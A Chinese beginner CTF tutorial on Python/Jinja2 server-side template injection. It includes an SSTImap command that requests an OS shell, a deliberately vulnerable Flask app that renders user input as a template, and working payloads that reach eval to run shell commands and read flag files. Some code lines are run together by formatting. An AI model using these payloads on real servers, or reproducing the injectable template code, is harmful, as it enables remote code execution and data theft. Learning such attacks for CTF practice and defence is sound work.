当前位置: 首页 > news >正文

CTF ssti零基础(一) 模块注入的payload

这里先推荐一个还不错的工具

git clone https://github.com/vladko312/SSTImap.gitcd SSTImappip install requirements.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
命令还是挺多的
有点像sqlmap但是这个暴力多了不用加那么多的参数

./sstimap.py -u http://example.com
./sstimap.py -u http://example.com --os-shell

支持的模板引擎

模板引擎远程代码执行盲注代码评估文件读取文件写入
MakoPython
Jinja2Python
Python (code eval)Python
TornadoPython
NunjucksJavaScript
PugJavaScript
doTJavaScript
MarkoJavaScript
JavaScript (code eval)JavaScript
Dust (<= dustjs-helpers@1.5.0)JavaScript
EJSJavaScript
Ruby (code eval)Ruby
SlimRuby
ERBRuby
Smarty (unsecured)PHP
Smarty (secured)PHP
PHP (code eval)PHP
Twig (<=1.19)PHP
FreemarkerJava
VelocityJava
Twig (>1.19)×××××
Dust (> dustjs-helpers@1.5.0)×××××

但是利用工具梭哈是没有灵魂的,我的ssti也比较烂所以现在开始学

先起一个flask环境

pip install flask

写个文件app.py

from flask import Flask
from flask import request
from flask import render_template_stringapp=Flask(__name__)@app.route('/',methods=['GET','POST'])         
def index():template=''' <p>Hello %s </p>'''%(request.args.get('name'))return render_template_string(template)      # 渲染为html内容if __name__ == '__main__':          # 如果作为脚本运行,而不是被当成模块导入app.run(host='0.0.0.0')
python3 app.py

在这里插入图片描述

在这里插入图片描述
成功,那么继续

解释

先从简单的解释一下

{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('tac /f*').read()")}}()     当前对象x.__class__       x对应类    __bases__        所有基类x.__subclasses__          x的所有子类             __init__      进行初始化
__init__.__globals__           全局的方法、类以及模块
__builtins__          包含eval的模块

诶那么我们再看看思路

思路

拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

怎么拿基类

().__class__.__bases__:
这个属性返回的是一个元组,包含了当前类的所有直接基类。如果一个类只继承自一个基类,这个元组将只包含一个元素;如果有多个基类(即多继承),元组中则会有多个元素,分别对应这些直接基类。这适用于了解一个类的多继承结构。().__class__.__base__:
相比之下,这个属性返回的是单个对象,即当前类的单一直接基类。在单继承的情况下,这与().__class__.__bases__[0]得到的结果相同。但是,如果一个类是多继承的,使用__base__只会提供第一个直接基类的信息,忽略了其他基类。这意味着它更适合于简单继承结构的查询

在这里插入图片描述
在这里插入图片描述

所以选择用bases
找子类我们就找其中有eval的

().__class__.__bases__[0].__subclasses__()
显示出所有子类

在这里插入图片描述
锁定目标
在这里插入图片描述
找出所有的function\module\class

在这里插入图片描述
找到eval
在这里插入图片描述
写命令
在这里插入图片描述
还有一种是直接使用config也可以

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /f*').read()")}}config是一个非常重要的特性,用于存储应用的配置信息。Flask应用通过flask.Flask类的实例来管理,而配置通常是通过这个应用实例的config属性来设置和访问的。

常用

x表示基类

- codecs模块
x.__init__.__globals__.__builtins__.['eval']("__import__('codecs').open('/app/flag').read()") - pathlib模块
x.__init__.__globals__.__builtins__.['eval']("__import__('pathlib').Path('/app/flag').read_text()") - io模块
x.__init__.__globals__.__builtins__.['eval']("__import__('io').open('/app/flag').read()") - open函数
x.__init__.__globals__.__builtins__.['eval']("open('/app/flag').read()") 

下面这个会一直更新,因为慢慢积累

有eval的类
<class '_frozen_importlib._ModuleLock'>
<class 'os._wrap_close'>

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【大数据专题】Flink题库
  • unplugin-vue-components 的作用是什么
  • 数据结构——栈(顺序结构)
  • Visual Studio Code + vue快速安装配置Node.js+Vue+webpack+vscode
  • 【Java25】内部类
  • Ubuntu20.04安装Elasticsearch
  • 【STM32 HAL库】ADC
  • 古籍双层PDF制作教程:保姆级古籍数字化教程
  • 掌握互联网路由选择协议:从基础入门到实战
  • ESP8266用AT指令实现连接MQTT
  • 时间序列预测领域公开数据集数据集下载
  • react 样式管理方案除了 styled-components,还有什么推荐的
  • 黑马微服务拆分2 (路由 登录 配置)
  • 学习笔记9:雪花算法
  • 学习笔记12:域名。全球加速,自定义源站,自定义CDN加速
  • ES6系列(二)变量的解构赋值
  • laravel 用artisan创建自己的模板
  • php中curl和soap方式请求服务超时问题
  • storm drpc实例
  • TCP拥塞控制
  • UEditor初始化失败(实例已存在,但视图未渲染出来,单页化)
  • vue学习系列(二)vue-cli
  • vue中实现单选
  • 复杂数据处理
  • 关于for循环的简单归纳
  • 基于Vue2全家桶的移动端AppDEMO实现
  • ------- 计算机网络基础
  • 使用Swoole加速Laravel(正式环境中)
  • 微信小程序上拉加载:onReachBottom详解+设置触发距离
  • 我有几个粽子,和一个故事
  • 学习Vue.js的五个小例子
  • 正则表达式小结
  • ​HTTP与HTTPS:网络通信的安全卫士
  • #宝哥教你#查看jquery绑定的事件函数
  • #常见电池型号介绍 常见电池尺寸是多少【详解】
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (分布式缓存)Redis分片集群
  • (深度全面解析)ChatGPT的重大更新给创业者带来了哪些红利机会
  • (十二)springboot实战——SSE服务推送事件案例实现
  • (十五)Flask覆写wsgi_app函数实现自定义中间件
  • (转) 深度模型优化性能 调参
  • (转)http-server应用
  • (自用)仿写程序
  • .net core + vue 搭建前后端分离的框架
  • .Net IE10 _doPostBack 未定义
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地定义和使用弱事件
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地中转一个自定义的弱事件(可让任意 CLR 事件成为弱事件)
  • .NET8 动态添加定时任务(CRON Expression, Whatever)
  • .NET的微型Web框架 Nancy
  • /tmp目录下出现system-private文件夹解决方法
  • @ 代码随想录算法训练营第8周(C语言)|Day53(动态规划)
  • @Mapper作用
  • [100天算法】-不同路径 III(day 73)